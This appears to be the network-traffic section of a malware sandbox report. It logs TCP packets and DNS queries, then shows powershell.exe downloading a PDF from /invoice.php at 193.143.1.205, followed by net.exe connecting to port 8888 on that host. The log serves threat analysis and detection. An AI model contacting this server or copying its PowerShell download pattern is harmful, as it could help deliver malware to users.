Jan 10, 2025 21:08:11.557853937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557857990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.557871103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.557897091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.587249041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.593959093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594006062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594027996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594043970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594058990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594084024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594099045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594115019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594130039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594145060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594250917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594265938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594280005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594295979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594297886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594336033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594355106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594379902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594396114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594399929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594410896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594429016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594436884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594453096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594470024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594470024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594486952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594502926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594506979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594540119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594546080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594569921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594592094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594609022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594623089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594650984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594670057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594670057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594691992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594706059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594707012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594732046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594748020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594749928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594763994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594786882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594789982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594815969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594829082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594830990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594847918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594871998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594877005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594902039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594917059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594918966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594933033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594949007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594953060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594969034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.594989061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.594995975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595012903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595031023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595037937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595055103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595071077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595074892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595088005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595114946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595206022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595238924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595247030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595263958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595278025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595293999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595299959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595310926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595335960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595366001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595408916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595423937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595434904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595441103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595458031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595463991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595475912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595499039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595500946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595516920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595540047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595541954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595558882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595575094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595582008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595593929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595618010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595621109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595634937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595649958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595657110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595669031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595685005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595689058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595731020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595777035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595793009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595808983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595829010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595949888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595966101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595983028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.595988989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.595999002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596014977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596021891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.596033096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596048117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596052885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.596065998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596081972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596088886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.596100092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596116066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.596121073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.596153021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.606292963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.630079031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630117893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630135059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630150080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630166054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630179882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.630181074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630199909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.630199909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.630240917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.634519100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.639446020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.649996996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650048018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650059938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650063992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650083065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650099039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650105953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650125980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650137901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650142908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650158882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650175095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650178909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650192022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650208950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650213003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650226116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650245905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650294065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650309086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650325060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650331974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650342941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650362015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650368929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650384903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650401115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650410891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.650417089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.650437117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686674118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686711073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686728001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686743975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686760902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686775923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686793089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686800003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686806917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686825037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686840057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686850071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686856031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686858892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686872005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686885118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686889887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686901093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.686908007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.686943054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.728708982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:12.220763922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:12.744136095 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:12.749133110 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:12.749217987 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:12.749411106 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:12.754148006 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:13.555203915 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:13.603704929 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:13.686598063 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:08:25.950536013 CET	56456	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:08:38.413078070 CET	50660	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:08:51.866231918 CET	64477	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:08:25.950536013 CET	192.168.2.8	1.1.1.1	0x80a0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:08:38.413078070 CET	192.168.2.8	1.1.1.1	0x650d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:08:51.866231918 CET	192.168.2.8	1.1.1.1	0x6731	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 21:08:25.959091902 CET	1.1.1.1	192.168.2.8	0x80a0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:08:38.421390057 CET	1.1.1.1	192.168.2.8	0x650d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:08:51.873416901 CET	1.1.1.1	192.168.2.8	0x6731	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	2656	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:08:10.046596050 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:08:10.858670950 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:08:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:08:10.858700037 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:08:10.858716011 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:08:10.858731031 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:08:10.858747005 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:08:10.858761072 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:08:10.858776093 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:08:10.858792067 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 21:08:10.858807087 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 21:08:10.858823061 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 10, 2025 21:08:10.863634109 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	2332	C:\Windows\System32\net.exe

